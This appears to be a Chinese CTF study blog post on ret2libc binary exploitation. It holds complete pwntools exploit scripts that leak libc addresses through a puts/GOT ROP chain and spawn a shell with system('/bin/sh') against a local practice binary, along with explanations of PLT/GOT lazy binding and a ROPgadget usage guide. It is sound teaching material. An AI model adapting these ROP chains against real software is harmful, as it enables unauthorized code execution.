binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) #计算binsh字符串的真实地址
payload2 = b'a' * 112 + p32(system_addr) + b"aaaa" + p32(binsh_addr)
#pause()
p.sendline(payload2)
p.interactive()

64位的ret2libc

和32位区别不大,核心就是传参方式不一样了,32位采用栈传参,而64位程序函数的前六个参数分别用寄存器rdi, rsi, rdx, rcx, r8, r9传参,后续参数采用栈传参。另外64位程序还有个栈平衡的问题,在最后的payload中需要添加一个ret指令的地址。

ida64_main:

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("Pls Input");
memset(buf, 0, sizeof(buf));
read(0, buf, 0x100uLL);
return 0;
}

payload1的构造:

1
2
3
4
5
payload = b"a" * offset #垃圾数据的填充
payload += p64(pop_rdi_ret_addr) #用寄存器rdi传参,参数是read_got
payload += p64(read_got) #想要存入rdi的参数
payload += p64(puts_plt) #puts的入口地址,即plt表的地址
payload += p64(main_addr) #程序的起始地址

这里已经调用了read,所以read有在got表里面有实际地址,而这个时候再调用puts 打印出read的实际地址,当然也可以用read的实际地址

接下来我们只要查找这几个地址即可:pop_rdi_ret_addr, read_got, puts_plt, main_addr。首先是pop_rdi_ret_addr,这个就是个ROP嘛,我们用ROPgadget寻找即可:

1
ROPgadget --binary ret2libc --only "pop|ret" | grep rdi
1
2
3
puts_plt = e.plt['puts'] #puts函数的入口地址
read_got = e.got['read'] #puts函数的got表地址
start_addr = e.symbols['_start'] #程序的起始地址

可以很容易的确定起始位置是main_addr = 0x401176,好了,第一部分的代码我们可以写出来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("ret2libc")

pop_rdi_ret_addr = 0x401293
read_got = 0x403368
puts_plt = 0x401060
main_addr = 0x401176
offset = 40

payload = b"a" * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)

#attach(p,"b *0x40121e")
p.recvuntil("Pls Input")
#pause()

p.send(payload)
read_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) #read函数的真实地址,由于真实地址总是从7f开始,故从7f开始接收,长度补足8个字节
print("read_real_addr: ", hex(read_real_addr))
high_addr
main_addr
puts_plt
read_got
pop_rdi_ret_addr
‘a’ * offset
low_addr

逻辑:

1.第一次ret的地址是pop_rdi_ret_addr

2.pop 的参数是 read_got 弹进rdi寄存器中

3.然后就是第二次ret,地址是puts_plt

4.puts函数的参数就是rdi中的read_got

5.运行完后弹回main函数重新开始程序

根据函数实际地址的后三位可以确定libc的版本

接下来基本上和32位的没啥区别了,计算libc的基地址:

1
libc_base = read_real_addr - libc.sym["read"]

随后计算字符‘/bin/sh’的地址,system函数的地址:

1
2
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

这里还有一个栈平衡的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("ret2libc")

pop_rdi_ret_addr = 0x401293
read_got = 0x403368
puts_plt = 0x401060
main_addr = 0x401176
offset = 40
payload = b"a" * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)

#attach(p,"b *0x40121e")
p.recvuntil("Pls Input")
#pause()
p.send(payload)

read_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("read_real_addr: ", hex(read_real_addr))

libc_base = read_real_addr - libc.sym["read"]
print("libc_base: ", hex(libc_base))

system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

print("system_addr:{}".format(hex(system_addr)))
print("binsh_addr:{}".format(hex(binsh_addr)))

payload = b"a" * offset
payload += p64(0x40101a) #需要添加一个ret,仅仅用于栈平衡
payload += p64(pop_rdi_ret_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.recvuntil("Pls Input")
p.send(payload)
p.interactive()

补充知识:

PLT和GOT表

PLT与GOT表均为动态链接过程中的重要部分

GOT: Global Offset Table, 全局偏移表,包含所有需要动态链接的外部函数的地址(在第一次执行后)
PLT: Procedure Link Table, 过程链接表,包含调用外部函数的跳转指令(跳转到GOT表中),以及初始化外部调用指令(用于链接器动态绑定dl_runtime_resolve)

Linux中虚拟内存映射分段中一般在这方面一般分三个段

.plt: 即上文提到的过程链接表,包含全部的外部函数跳转指令信息

.got.plt: 即下文将要表达的GOT表,与PLT表搭配使用,包含全部外部函数地址(第一次调用前为伪地址,具体见下)

.got : 存放其他全局符号信息,注意与.got.plt不同,与下文函数动态链接过程关系不大

简单来说,PLT表存放跳转相关指令,GOT表存放外部函数(符号)地址

PLT

这个现在介绍的是.got.plt

1.结构可见下图 Procedure

2.第一个表项PLT[0]为(通用调用解析表项)没有存储任何外部函数的跳转信息,保存调用dynamic linker resolve【动态链接器解析】函数_dl_runtime_resolve的参数(link_map)和地址

3.之后的每个表项,分为两部分(三句):

1
2
3
4
5
;part 1
jmp *fun@got
;part 2
push offset
jmp plt[0]

image-20250219031255632

GOT

  • 每一项为单个地址
  • 第一项指向dynamic段
  • 第二项指向link_map
  • 第三项指向_dl_runtime_resolve函数
  • 之后每项一一对应PLT表中每个表项(序号不同)

image-20250219032633901

延迟绑定机制

所谓延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序

假如存在一个bar函数,这个函数在PLT中的条目为bar@plt,在GOT中的条目为bar@got,那么在第一次调用bar函数的时候,首先会跳转到PLT,伪代码如下:

1
2
3
4
5
bar@plt:

jmp bar@got

patch bar@got

这里会从PLT跳转到GOT,如果函数从来没有调用过,那么这时候GOT会跳转回PLT并调用patch bar@got,这一行代码的作用是将bar函数真正的地址填充到bar@got,然后跳转到bar函数真正的地址执行代码。

函数第一次被调用的流程:

image-20250219144355767

1.每次调用外部函数,形式均为call func@plt,PC指向每个PLT表项的第一部分:

​ 跳转到GOT表对应项指向位置(为表项的值,非表项本身地址)

2.第一次调用前,GOT表中对应项存储的不是外部函数的真实地址,而重新指回PLT表,指向PLT表对应表项(相同函数)的第二部分,使其初始化dynamic linker进行运行时解析(_dl_runtime_resolve)

3.回到PLT表第二部分,向栈中压入表项序号

第一次调用过程理解:[ 序号并不对应表中操作序号 ]

1.程序首次调用printf@plt

2.printf@plt跳转到GOT中对应的一个条目(初始指向PLT的解析逻辑)

3.解析逻辑动态调用链接器解析printf函数的真实地址

4.将解析后的地址写回GOT表

5.后续调用流程

6.直接通过GOT表跳转到已经解析的地址

image-20250219154602549

第二次调用过程理解: [ ]

1.跳转到PLT表

2.跳转到GOT表 [ 已经存储了函数的实际地址 ]

3.跳转到被调用函数的实际地址调用

ret2libc文章阅读

链接:https://blog.csdn.net/Bossfrank/article/details/134872403#%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86%EF%BC%88%E7%AE%80%E8%A6%81%E4%BA%86%E8%A7%A3%EF%BC%89

PLT表 和 GOT表 及 延迟绑定 的理解

got表:globle offset table 全局偏移量表,位于数据段,是一个每个条目是8字节地址的数组,用来存储外部函数在内存的确切地址。我们的最终目标就是拿到system函数的got表地址,同时知道libc的基地址的话即可找到system函数的真实地址。

plt表:procedure link table 程序链接表,位于代码段,是一个每个条目是16字节内容的数组,使得代码能够方便的访问共享的函数或者变量。可以理解为函数的入口地址,通过劫持返回地址为puts函数的plt表地址,即可执行puts函数。

关系图:

image-20250219174643129

图一

可执行的二进制文件里面保存的是 PLT 表的地址,对应 PLT 地址指向的是 GOT 的地址,GOT 表指向的就是 glibc 中的地址那我们可以发现,在这里面想要通过 plt 表获取函数的地址,首先要保证 got 表已经获取了正确的地址(即最靠右的两个箭头已经建立),但是在一开始(尚未发生函数调用时)就进行所有函数的重定位是比较麻烦的,为此,linux 引入了延迟绑定机制。

延迟绑定

只有动态库libc中的函数在被调用时,才会进行地址解析和重定位工作,也就是说,只有函数发生调用之后,上图中最右侧的两个箭头才建立完成,我们才能够通过got表读取到libc中的函数。

第一次调用函数

image-20250219174906448

图二

在可执行二进制程序调用函数A时,会先找到函数A对应的PLT表,PLT表中第一行指令则是找到函数A对应的GOT表。此时由于是程序第一次调用A,GOT表还未更新(就是图一中最右边俩箭头还没有建立),会先去公共PLT进行一番操作查找函数A的位置,找到A的位置后再更新A的GOT表,并调用函数A。

非第一次调用函数

image-20250219175022331

图三

此时A的GOT表已经更新,可以直接在GOT表中找到其在内存中的位置并直接调用。说白了,图三就是图一.

ropgadget工具使用

1. 概述

ROPgadget 是一款开源工具,专为二进制文件中的 ROP(Return-Oriented Programming)漏洞利用而设计。它能够帮助安全研究人员和漏洞利用开发者快速搜索和识别二进制文件中的 gadgets,从而简化 ROP 链的构建过程。

2. 支持的文件格式和架构

  • 文件格式:支持 ELF、PE、Mach-O 和 Raw 格式的二进制文件。
  • 架构:支持 x86、x64、ARM、ARM64、MIPS、PowerPC、SPARC、RISC-V 64 和 RISC-V Compressed 等多种架构。

3. 功能列表

以下是 ROPgadget 的主要功能和参数说明:

  1. 搜索 gadgets
    • --binary <binary>:指定要分析的二进制文件。
    • --opcode <opcodes>:搜索包含指定操作码的 gadgets。
    • --string <string>:搜索包含指定字符串的 gadgets。
    • --memstr <string>:在所有可读段中搜索指定字符串。
    • --depth <nbyte>:设置搜索深度,默认为 10。
    • --only <key>:仅显示包含指定关键字的 gadgets。
    • --filter <key>:排除包含指定关键字的 gadgets。
    • --range <start-end>:在指定地址范围内搜索 gadgets。
    • --badbytes <byte>:排除包含指定字节的 gadgets。
    • --re <re>:使用正则表达式搜索 gadgets。
  2. 生成 ROP 链
    • --ropchain:基于找到的 gadgets 自动生成 ROP 链。
    • --callPreceded:仅显示被调用指令预先调用的 gadgets。
    • --multibr:启用多分支 gadgets。
  3. 架构和模式
    • --rawArch <arch>:为 raw 文件指定架构(如 x86、arm 等)。
    • --rawMode <mode>:为 raw 文件指定模式(如 32、64、arm、thumb 等)。
    • --rawEndian <endian>:为 raw 文件指定字节序(little 或 big)。
    • --thumb:在 ARM 架构下使用 Thumb 模式。
  4. 其他功能
    • --console:将输出发送到控制台。
    • --norop:禁用 ROP 搜索引擎。
    • --nojop:禁用 JOP 搜索引擎。
    • --nosys:禁用系统调用 gadgets。
    • --all:显示所有 gadgets,无过滤。
    • --noinstr:不显示 gadgets 指令,仅显示偏移。
    • --dump:输出 gadgets 的原始字节。
    • --silent:禁用分析过程中的 gadgets 打印。
    • --align <ALIGN>:对齐 gadgets 地址。
    • --mipsrop <rtype>:针对 MIPS 架构指定 ROP 类型。

4. 应用场景

  • 漏洞利用开发:快速找到所需的 gadgets,加速 ROP 链的构建。
  • 安全研究:分析二进制文件,识别潜在的漏洞和攻击面。
  • 逆向工程:帮助理解二进制文件的结构和行为。
  • 教学与培训:帮助学生和新手理解 ROP 攻击的原理和实践。

5. 使用示例

以下是一些常见的使用示例:

  1. 搜索所有 gadgets

    1
    ROPgadget --binary ./example
  2. 搜索特定指令的 gadgets

    1
    ROPgadget --binary ./example --only "pop|ret"
  3. 排除特定字节的 gadgets

    1
    ROPgadget --binary ./example --badbytes "00|0a"
  4. 在指定地址范围内搜索 gadgets

    1
    ROPgadget --binary ./example --range 0x08041000-0x08042000
  5. 生成 ROP 链

    1
    ROPgadget --binary ./example --ropchain
  6. 使用正则表达式搜索 gadgets

    1
    ROPgadget --binary ./example --re "mov.*"

6. 总结

ROPgadget 是一款功能强大且灵活的工具,支持多种文件格式和架构,并提供丰富的搜索和过滤选项。它能够帮助安全研究人员和漏洞利用开发者快速定位和利用 gadgets,从而简化 ROP 攻击的开发过程。


ROP
http://example.com/ROP/
作者
briteny-pwn
发布于
2025年2月28日
许可协议